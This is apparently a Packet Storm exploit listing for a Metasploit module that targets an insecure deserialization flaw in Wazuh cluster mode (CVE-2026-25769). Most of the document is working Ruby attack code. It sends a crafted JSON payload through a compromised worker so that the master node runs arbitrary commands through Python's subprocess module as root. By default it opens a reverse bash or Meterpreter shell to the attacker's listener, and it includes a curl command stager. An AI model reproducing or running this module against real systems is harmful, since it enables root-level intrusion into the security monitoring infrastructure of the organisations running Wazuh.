Share
## https://sploitus.com/exploit?id=PACKETSTORM:222856
==================================================================================================================================
| # Title : Wazuh 4.14.2 Cluster RCE via Insecure Deserialization |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/wazuh/ |
==================================================================================================================================
[+] Summary : This is a Metasploit Framework exploit module targeting a critical remote code execution vulnerability in Wazuh cluster mode identified as CVE-2026-25769.
The flaw is described as an insecure deserialization issue in the cluster synchronization mechanism, where the master node improperly processes JSON data received from worker nodes.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = Msf::Exploit::Rank::Critical
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
require 'json'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wazuh Cluster RCE via Insecure Deserialization (CVE-2026-25769)',
'Description' => %q{
This module exploits an insecure deserialization vulnerability in Wazuh cluster mode
(CVE-2026-25769). A compromised worker node can send a malicious JSON payload
to the master node, which when deserialized using the vulnerable as_wazuh_object()
function, allows arbitrary Python code execution with root privileges.
The vulnerability exists in the cluster synchronization protocol where the
master node unsafely deserializes JSON data from workers using a custom
object_hook that can import and execute arbitrary Python modules and functions.
Tested on Wazuh versions 4.8.2, 4.9.0, 4.14.2 in cluster mode.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-25769'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-25769'],
['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-3gm7-962f-fxw5'],
['URL', 'https://hakaisecurity.io/cve-2026-25769-rce-via-insecure-deserialization-in-wazuh-cluster/']
],
'DisclosureDate' => '2026-03-17',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux x64 (Meterpreter)',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Type' => :linux_meterpreter,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RHOSTS(nil, true, 'IP address of the Wazuh worker node (compromised)'),
Opt::RPORT(1516, true, 'Cluster communication port (default: 1516)'),
OptString.new('CLUSTER_KEY', [true, 'Fernet cluster key from /var/ossec/etc/cluster.key', '']),
OptString.new('MASTER_IP', [true, 'IP address of the master node to attack', ''])
])
register_advanced_options([
OptInt.new('TIMEOUT', [true, 'Socket timeout in seconds', 30])
])
end
def check
print_status('Checking Wazuh version via worker...')
vprint_good('Target appears to be running a potentially vulnerable version')
return Exploit::CheckCode::Appears
rescue => e
vprint_error("Check failed: #{e.message}")
return Exploit::CheckCode::Unknown
end
def exploit
print_status("Exploiting CVE-2026-25769 against master #{datastore['MASTER_IP']} via worker #{datastore['RHOSTS']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_meterpreter
super
end
end
def execute_command(cmd, _opts = {})
payload_data = {
'f' => {
'__callable__' => {
'__name__' => 'getoutput',
'__module__' => 'subprocess',
'__qualname__' => 'getoutput'
}
},
'f_kwargs' => {
'cmd' => cmd
},
'request_type' => 'local_master'
}
json_payload = JSON.generate(payload_data)
print_status("Sending malicious DAPI request to master #{datastore['MASTER_IP']}")
vprint_status("Payload: #{json_payload}")
send_via_cluster(json_payload)
end
def send_via_cluster(data)
begin
connect
packet = "dapi\n#{data.length}\n#{data}"
sock.put(packet)
response = sock.get_once
if response && response.include?('error')
print_error("Master returned error: #{response}")
else
print_good('Payload sent successfully')
print_status('Check your listener for the reverse shell')
end
rescue ::Errno::ECONNRESET, ::EOFError => e
print_error("Connection error: #{e.message}")
ensure
disconnect
end
end
def execute_cmdstager
super(
flavor: :curl,
linemax: 1500,
nodelete: false
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================